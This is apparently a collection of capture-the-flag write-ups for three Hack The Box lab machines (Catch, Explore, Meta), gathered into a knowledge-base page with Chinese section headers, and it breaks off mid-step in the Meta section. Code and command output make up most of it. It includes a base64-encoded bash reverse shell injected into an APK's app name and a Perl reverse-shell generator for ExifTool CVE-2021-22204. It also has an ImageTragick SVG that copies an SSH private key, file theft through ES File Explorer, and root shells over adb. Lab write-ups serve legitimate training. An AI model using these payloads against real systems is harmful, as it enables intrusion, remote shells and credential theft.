 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2176.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/catch]
└─# nmap -sV -v -p- -Pn --min-rate=10000 10.10.11.150
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
5000/tcp open  upnp?
8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
```

we found 4 opening ports, and 3 web service

one of them is [Let's Chat](https://github.com/sdelements/lets-chat), and by searching google we found an [Lets Chat provides a REST-like API](https://github.com/sdelements/lets-chat/wiki/API)

and i guess we may need to find some api token to access this api to get more information

and go to port 80, we found a apk can be downloaded

``` bash
wget http://status.catch.htb/catchv1.0.apk
```

use apktool decompile it

``` bash
apktool d catchv1.0.apk
```

and we found a lets_chat_token, awesome

``` bash
┌──(root💀kali)-[~/hackthebox/machine/catch/catchv1.0]
└─# grep -Hnri "token"                                                 
res/values/public.xml:2292:    <public type="string" name="gitea_token" id="0x7f0e0028" />
res/values/public.xml:2296:    <public type="string" name="lets_chat_token" id="0x7f0e002c" />
res/values/public.xml:2353:    <public type="string" name="slack_token" id="0x7f0e0065" />
res/values/strings.xml:43:    <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
res/values/strings.xml:47:    <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
```

we can use this token like this in the request header

``` bash
Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==
```

``` bash
GET /rooms HTTP/1.1
Host: status.catch.htb:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==
Upgrade-Insecure-Requests: 1
```

response json data, we get 3 room id:

``` bash
[{"id":"61b86b28d984e2451036eb17","slug":"status","name":"Status","description":"Cachet Updates and Maintenance","lastActive":"2021-12-14T10:34:20.749Z","created":"2021-12-14T10:00:08.384Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]},
{"id":"61b8708efe190b466d476bfb","slug":"android_dev","name":"Android Development","description":"Android App Updates, Issues & More","lastActive":"2021-12-14T10:24:21.145Z","created":"2021-12-14T10:23:10.474Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]},
{"id":"61b86b3fd984e2451036eb18","slug":"employees","name":"Employees","description":"New Joinees, Org updates","lastActive":"2021-12-14T10:18:04.710Z","created":"2021-12-14T10:00:31.043Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]}]
```

now we need to get the message inside the room 

``` bash
GET /rooms/61b86b28d984e2451036eb17/messages HTTP/1.1
Host: status.catch.htb:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==
Upgrade-Insecure-Requests: 1
If-None-Match: W/"a43-L5etm76UD8Y2ShJ4BslZfIAtBQk"
```

and we got a username, and password as well

``` bash
{"id":"61b8702dfe190b466d476bfa","text":"Here are the credentials `john :  E}V!mywu_69T4C}W`","posted":"2021-12-14T10:21:33.859Z","owner":"61b86f15fe190b466d476bf5","room":"61b86b28d984e2451036eb17"},
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2177.jpg)

we use this credentials to login on port 8000

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2178.jpg)

we are in, and notice it's a Cachet server, let's google some exploits, and we found:

 - [Cachet 2.4: Code Execution via Laravel Configuration Injection](https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection)

let's see CVE-2021-39174 - Configuration Leak part in this article, and we can leak some env variable by using ${}:

try ${DB_USERNAME} first, what you need to do is, intercept the request when changing the mail settings, than edit the mail host to ${DB_USERNAME} or any other variable from the env file, then hit test and check logs

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2179.jpg)

and we get a username: will

now try try ${DB_PASSWORD}

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2180.jpg)

and we get a password: s2#4Fg0_%3!

try this credential to login ssh

``` bash
┌──(root💀kali)-[~/hackthebox/machine/catch]
└─# ssh will@10.10.11.150
will@10.10.11.150's password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 23 Mar 2022 05:42:56 AM UTC

  System load:                      0.0
  Usage of /:                       78.5% of 16.61GB
  Memory usage:                     75%
  Swap usage:                       61%
  Processes:                        458
  Users logged in:                  0
  IPv4 address for br-535b7cf3a728: 172.18.0.1
  IPv4 address for br-fe1b5695b604: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.150
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:7c11


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Mar 22 19:47:45 2022 from 10.10.14.3
will@catch:~$ id
uid=1000(will) gid=1000(will) groups=1000(will)
will@catch:~$ whoami
will
will@catch:~$ cat user.txt 
79cad4e9915944ef86015a5f809b272d
```

and we get user flag

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2181.jpg)

#### get root

i have used LinEnum.sh linpeas.sh and Linux_Exploit_Suggester.sh but didn't find any thing useful to exploit

so i use pspy to enum the process owned buy root

``` bash
2022/03/22 18:30:01 CMD: UID=0    PID=900727 | /bin/bash /opt/mdm/verify.sh
```

let's check it out

``` bash
#!/bin/bash

###################
# Signature Check #
###################

sig_check() {
        jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
        if [[ $? -eq 0 ]]; then
                echo '[+] Signature Check Passed'
        else
                echo '[!] Signature Check Failed. Invalid Certificate.'
                cleanup
                exit
        fi
}

#######################
# Compatibility Check #
#######################

comp_check() {
        apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
        COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
        if [ -z "$COMPILE_SDK_VER" ]; then
                echo '[!] Failed to find target SDK version.'
                cleanup
                exit
        else
                if [ $COMPILE_SDK_VER -lt 18 ]; then
                        echo "[!] APK Doesn't meet the requirements"
                        cleanup
                        exit
                fi
        fi
}

####################
# Basic App Checks #
####################

app_check() {
        APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
        echo $APP_NAME
        if [[ $APP_NAME == *"Catch"* ]]; then
                echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
                mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
        else
                echo "[!] App doesn't belong to Catch Global"
                cleanup
                exit
        fi
}


###########
# Cleanup #
###########

cleanup() {
        rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
}


###################
# MDM CheckerV1.0 #
###################

DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin

for IN_APK_NAME in $DROPBOX/*.apk;do
        OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
        APK_NAME="$(openssl rand -hex 12).apk"
        if [[ -L "$IN_APK_NAME" ]]; then
                exit
        else
                mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
        fi
        sig_check $IN_FOLDER $APK_NAME
        comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
        app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup
```

the vuln is in app_check() function, it searching for APP_NAME inside the apk in /res/values/strings.xml

we can do some command injection as follow

``` bash
......
<string name="app_name">Catch|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzEyMzQgMD4mMQ== | base64 -d | bash</string>
......
```

edit the file which has application name and do command injection there and make sure to sign the apk and build it using apktool 2.6.1

 - note: you have to use the latest apktool version 2.6.1 on github

this article may help [Decompile and Recompile An android APK using Apktool](https://medium.com/@sandeepcirusanagunla/decompile-and-recompile-an-android-apk-using-apktool-3d84c2055a82)

``` bash
┌──(root💀kali)-[~]
└─# java -jar apktool_2.6.1.jar b -f -d /root/hackthebox/machine/catch/catchv1.0 -o /root/hackthebox/machine/catch/catchv2.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1
I: Smaling smali folder into classes.dex...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...
```

sign the apk, and verify it

``` bash
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore catchv2.apk alias_name

jarsigner -verify -verbose -certs catchv2.apk
```

put this apk in DROPBOX=/opt/mdm/apk_bin folder

``` bash
will@catch:/dev/shm$ wget http://10.10.14.10/catchv2.apk
--2022-03-23 06:04:00--  http://10.10.14.10/catchv2.apk
Connecting to 10.10.14.10:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2821269 (2.7M) [application/vnd.android.package-archive]
Saving to: ‘catchv2.apk’

catchv2.apk                      100%[==========================================================>]   2.69M   120KB/s    in 22s     

2022-03-23 06:04:24 (123 KB/s) - ‘catchv2.apk’ saved [2821269/2821269]

will@catch:/dev/shm$ cp catchv2.apk /opt/mdm/apk_bin

will@catch:~$ ls /opt/mdm/apk_bin
catchv2.apk
```

and after a few seconds, we get a root reverse shell

``` bash
┌──(root💀kali)-[~/hackthebox/machine/catch]
└─# nc -lvp 1234                                     
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.11.150.
Ncat: Connection from 10.10.11.150:44648.
bash: cannot set terminal process group (1154503): Inappropriate ioctl for device
bash: no job control in this shell
root@catch:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@catch:~# whoami
whoami
root
root@catch:~# cat /root/root.txt
cat /root/root.txt
6e42a8f7d76919e29557f3f0c8ff458a
root@catch:~# cat /etc/shadow | grep root
cat /etc/shadow | grep root
root:$6$HJWtdM63SqnL6alL$h/FUZ0TNaCCrCgEzeuT9ityQcDmYcMCA0fErrvkZVBmf0TQJntGSRMDo.AXZA9V00.qAsZ04554.dUJcFszUM1:18976:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2182.jpg)


#### Summary of knowledge

 - Let's Chat api enumeraton
 - apk decompile to leak Let's Chat api token
 - CVE-2021-39174 - Configuration Leak env db username and password
 - privesc through suid sh scripts
 - apk recompile insert revshell command to get RCE

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end catch -->

</details>

<a id="case-explore"></a>

## Android 文件服务与调试桥

ES File Explorer 的文件接口暴露用户材料，SSH 转发连接到本机调试服务。Android 服务端口及转发后的执行步骤保留原样。

<p class="kb-provenance">来源 explore · 原记录 2021-06-27 · 8 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-explore">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start explore -->

#### introduce

OS: Android
Difficulty: Easy
Points:	20
Release:	26 Jun 2021
IP:	10.10.10.247

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2009.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration

use nmap as usual

``` bash
┌──(root💀kali)-[~/hackthebox/machine/explore]
└─# nmap -sV -sC -v -p- --min-rate=10000 10.10.10.247
PORT      STATE    SERVICE VERSION
2222/tcp  open     ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp  filtered freeciv
42135/tcp open     http    ES File Explorer Name Response httpd
|_http-server-header: ES Name Response Server
|_http-title: Site doesn't have a title (text/html).
45691/tcp open     unknown
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.0 400 Bad Request
|     Date: Sun, 27 Jun 2021 05:04:42 GMT
|     Content-Length: 22
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line:
|   GetRequest: 
|     HTTP/1.1 412 Precondition Failed
|     Date: Sun, 27 Jun 2021 05:04:42 GMT
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.0 501 Not Implemented
|     Date: Sun, 27 Jun 2021 05:04:48 GMT
|     Content-Length: 29
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Method not supported: OPTIONS
|   Help: 
|     HTTP/1.0 400 Bad Request
|     Date: Sun, 27 Jun 2021 05:05:06 GMT
|     Content-Length: 26
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: HELP
|   RTSPRequest: 
|     HTTP/1.0 400 Bad Request
|     Date: Sun, 27 Jun 2021 05:04:48 GMT
|     Content-Length: 39
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     valid protocol version: RTSP/1.0
|   SSLSessionReq: 
|     HTTP/1.0 400 Bad Request
|     Date: Sun, 27 Jun 2021 05:05:06 GMT
|     Content-Length: 73
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|     ?G???,???`~?
|     ??{????w????<=?o?
|   TLSSessionReq: 
|     HTTP/1.0 400 Bad Request
|     Date: Sun, 27 Jun 2021 05:05:07 GMT
|     Content-Length: 71
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|     ??random1random2random3random4
|   TerminalServerCookie: 
|     HTTP/1.0 400 Bad Request
|     Date: Sun, 27 Jun 2021 05:05:07 GMT
|     Content-Length: 54
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|_    Cookie: mstshash=nmap
59777/tcp open     http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.91%I=7%D=6/27%Time=60D80674%P=x86_64-pc-linux-gnu%r(NU
SF:LL,24,"SSH-2\.0-SSH\x20Server\x20-\x20Banana\x20Studio\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port45691-TCP:V=7.91%I=7%D=6/27%Time=60D80674%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,AA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Sun,\x20
SF:27\x20Jun\x202021\x2005:04:42\x20GMT\r\nContent-Length:\x2022\r\nConten
SF:t-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\
SF:r\nInvalid\x20request\x20line:\x20")%r(GetRequest,5C,"HTTP/1\.1\x20412\
SF:x20Precondition\x20Failed\r\nDate:\x20Sun,\x2027\x20Jun\x202021\x2005:0
SF:4:42\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,B5,"HTTP/1\
SF:.0\x20501\x20Not\x20Implemented\r\nDate:\x20Sun,\x2027\x20Jun\x202021\x
SF:2005:04:48\x20GMT\r\nContent-Length:\x2029\r\nContent-Type:\x20text/pla
SF:in;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nMethod\x20not\x2
SF:0supported:\x20OPTIONS")%r(RTSPRequest,BB,"HTTP/1\.0\x20400\x20Bad\x20R
SF:equest\r\nDate:\x20Sun,\x2027\x20Jun\x202021\x2005:04:48\x20GMT\r\nCont
SF:ent-Length:\x2039\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r
SF:\nConnection:\x20Close\r\n\r\nNot\x20a\x20valid\x20protocol\x20version:
SF:\x20\x20RTSP/1\.0")%r(Help,AE,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDa
SF:te:\x20Sun,\x2027\x20Jun\x202021\x2005:05:06\x20GMT\r\nContent-Length:\
SF:x2026\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection
SF::\x20Close\r\n\r\nInvalid\x20request\x20line:\x20HELP")%r(SSLSessionReq
SF:,DD,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Sun,\x2027\x20Jun\x
SF:202021\x2005:05:06\x20GMT\r\nContent-Length:\x2073\r\nContent-Type:\x20
SF:text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nInvalid\
SF:x20request\x20line:\x20\x16\x03\0\0S\x01\0\0O\x03\0\?G\?\?\?,\?\?\?`~\?
SF:\0\?\?{\?\?\?\?w\?\?\?\?<=\?o\?\x10n\0\0\(\0\x16\0\x13\0")%r(TerminalSe
SF:rverCookie,CA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Sun,\x202
SF:7\x20Jun\x202021\x2005:05:07\x20GMT\r\nContent-Length:\x2054\r\nContent
SF:-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r
SF:\nInvalid\x20request\x20line:\x20\x03\0\0\*%\?\0\0\0\0\0Cookie:\x20msts
SF:hash=nmap")%r(TLSSessionReq,DB,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nD
SF:ate:\x20Sun,\x2027\x20Jun\x202021\x2005:05:07\x20GMT\r\nContent-Length:
SF:\x2071\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnectio
SF:n:\x20Close\r\n\r\nInvalid\x20request\x20line:\x20\x16\x03\0\0i\x01\0\0
SF:e\x03\x03U\x1c\?\?random1random2random3random4\0\0\x0c\0/\0");
Service Info: Device: phone
```

after googling "59777 port android" i found the following

 - [Analysis of ES File Explorer Security Vulnerability CVE-2019–6447](https://medium.com/@knownsec404team/analysis-of-es-file-explorer-security-vulnerability-cve-2019-6447-7f34407ed566)

User flag in /sdcard/user.txt

``` bash
┌──(root💀kali)-[~/hackthebox/machine/explore]
└─# curl --header "Content-Type: application / json" http://10.10.10.247:59777/mnt/sdcard/user.txt
f32017174c7c7e8f50c6da52891ae250
```

then get ssh creds

``` bash
┌──(root💀kali)-[~/hackthebox/machine/explore]
└─# curl --header "Content-Type: application / json" http://10.10.10.247:59777/mnt/sdcard/DCIM/creds.jpg --output creds.jpg
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1172k  100 1172k    0     0   392k      0  0:00:02  0:00:02 --:--:--  391k
┌──(root💀kali)-[~/hackthebox/machine/explore]
└─# ls
creds.jpg
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2010.jpg)

``` bash
user: kristi
pwd: Kr1sT!5h@Rp3xPl0r3!
cmd: ssh kristi@10.10.10.247 -p 2222
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/explore]
└─# ssh kristi@10.10.10.247 -p 2222
The authenticity of host '[10.10.10.247]:2222 ([10.10.10.247]:2222)' can't be established.
RSA key fingerprint is SHA256:3mNL574rJyHCOGm1e7Upx4NHXMg/YnJJzq+jXhdQQxI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.247]:2222' (RSA) to the list of known hosts.
Password authentication
Password: 
:/ $ id
uid=10076(u0_a76) gid=10076(u0_a76) groups=10076(u0_a76),3003(inet),9997(everybody),20076(u0_a76_cache),50076(all_a76) context=u:r:untrusted_app:s0:c76,c256,c512,c768
:/ $ whoami
u0_a76
:/ $ pwd
/
:/ $ cat /sdcard/user.txt
f32017174c7c7e8f50c6da52891ae250
```

#### Get Root

first install adb tools

``` bash
apt-get install android-tools-adb
```

Try port forward from ssh with creds from /sdcard/DCIM/creds.jpg on port 5555

``` bash
ssh -L 5555:localhost:5555 kristi@10.10.10.247 -p 2222
```

And then 

``` bash
┌──(root💀kali)-[~/hackthebox/machine/explore]
└─# adb connect localhost:5555
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to localhost:5555
┌──(root💀kali)-[~/hackthebox/machine/explore]
└─# adb devices
List of devices attached
emulator-5554   device
localhost:5555  device

┌──(root💀kali)-[~/hackthebox/machine/explore]
└─# adb -s localhost:5555 shell
x86_64:/ $ su                                                                                                                    
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:su:s0
:/ # whoami
root
:/ # pwd
/
:/ # ls /root
ls: /root: No such file or directory
1|:/ # find / -name "root.txt" 2>/dev/null
/data/root.txt
1|:/ # cat /data/root.txt
f04fc82b6d49b41c9b08982be59338c5
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2011.jpg)

now we get root flag

#### Summary of knowledge

 - ES File Explorer Security Vulnerability CVE-2019–6447
 - ssh port forwarding to get root

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end explore -->

</details>

<a id="case-meta"></a>

## 元数据解析与图像转换

ExifTool 和 ImageMagick 的处理链形成两个不同入口，提权阶段连接 neofetch 配置执行。文件格式和进程触发条件按原实验保留。

<p class="kb-provenance">来源 meta · 原记录 2022-01-23 · 18 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-meta">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start meta -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	22 Jan 2022
IP:	10.10.11.140

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2138.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/meta]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.140
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Port 80 is our only attack surface so let’s start there. Before the page even loads, we’re redirect to:

``` bash
http://artcorp.htb/
```

Let’s add that to /etc/hosts and continue:

We don’t have a great deal available to us. We can start bruteforcing directories and subdomains. We eventually find:

``` bash
dev01.artcorp.htb
```

We seem to have file upload:

``` bash
http://dev01.artcorp.htb/metaview/
```

We don’t have a great deal of other information. Let’s try capturing requests and seeing where that takes us. We get an interesting response from the metaview upload:

``` bash
<div class="mt-3" id="output_data">
<pre>File Type                  : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 96
Y Resolution                    : 96
Image Width                     : 1920
Image Height                    : 1440
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
</pre>
</div>
```

#### Foothold

The output looks awfully similar to exiftool suggesting potential exploits available to us via the file upload. We don’t have a specific version but we can try using relevant PoCs:

 - [A case study on: CVE-2021-22204 – Exiftool RCE](https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/)

We’ll start by getting the requirements for the exploit:

 - [CVE-2021-22204-exiftool](https://github.com/convisolabs/CVE-2021-22204-exiftool)

This repo has a script that allows us to automatically create payloads to get a reverse shell. We need to start by editting the IP and port variables:

``` bash
#!/bin/env python3

import base64
import subprocess

ip = '10.10.14.8'
port = '9001'

payload = b"(metadata \"\c${use MIME::Base64;eval(decode_base64('"


payload = payload + base64.b64encode( f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({port},inet_aton('{ip}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};".encode() )

payload = payload + b"'))};\")"


payload_file = open('payload', 'w')
payload_file.write(payload.decode('utf-8'))
payload_file.close()


subprocess.run(['bzz', 'payload', 'payload.bzz'])
subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz'])
subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif<=exploit.djvu', 'image.jpg']) 
```

We run the script using:

``` bash
python3 exploit.py

┌──(root💀kali)-[~/CVE-2021-22204-exiftool]
└─# ls
configfile  exploit.djvu  exploit.py  image.jpg  image.jpg_original  lab  payload  payload.bzz  README.md
```

and upload the image to the website, we get a reverse shell:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/meta]
└─# nc -lvp 9001                                                                                                              130 ⨯
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.140.
Ncat: Connection from 10.10.11.140:54114.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 3: python: not found
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
bash-5.0$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash-5.0$ cd /home
cd /home
lsbash-5.0$ 
ls
thomas
bash-5.0$ cd thomas
cd thomas
bash-5.0$ ls
ls
user.txt
bash-5.0$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
```

#### User own

We have a user called thomas that we need to try exploit. There is a cron job that runs an image convert script. Most of the binaries used for this are found in /usr/local/bin such as convert. We also have a script containing the following:

``` bash
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify
```

We can do a little research and try finding a relevant exploit:

 - [ImageMagick 7.0.1-0 / 6.9.3-9 - 'ImageTragick ' Multiple Vulnerabilities](https://www.exploit-db.com/exploits/39767)

We can’t get a reverse shell but we can very easily grab Thomas’ SSH key. We start by creating a file in /tmp:

 - Putting it in /tmp instead of directly in the /var/ directory so we can re-use it if it fails.

 - poc.svg

``` bash
bash-5.0$ echo "PGltYWdlIGF1dGhlbnRpY2F0ZT0nZmYiIGBlY2hvICQoY2F0IH4vLnNzaC9pZF9yc2EpPiAvZGV2L3NobS9pZF9yc2FgOyInPgogIDxyZWFkIGZpbGVuYW1lPSJwZGY6L2V0Yy9wYXNzd2QiLz4KICA8Z2V0IHdpZHRoPSJiYXNlLXdpZHRoIiBoZWlnaHQ9ImJhc2UtaGVpZ2h0IiAvPgogIDxyZXNpemUgZ2VvbWV0cnk9IjQwMHg0MDAiIC8+CiAgPHdyaXRlIGZpbGVuYW1lPSJ0ZXN0LnBuZyIgLz4KICA8c3ZnIHdpZHRoPSI3MDAiIGhlaWdodD0iNzAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KICA8aW1hZ2UgeGxpbms6aHJlZj0ibXNsOnBvYy5zdmciIGhlaWdodD0iMTAwIiB3aWR0aD0iMTAwIi8+CiAgPC9zdmc+CjwvaW1hZ2U+" |base64 -d > poc.svg
<wIi8+CiAgPC9zdmc+CjwvaW1hZ2U+" |base64 -d > poc.svg
bash-5.0$ ls
ls
poc.svg  pspy64
bash-5.0$ cat poc.svg
cat poc.svg
<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/id_rsa`;"'>
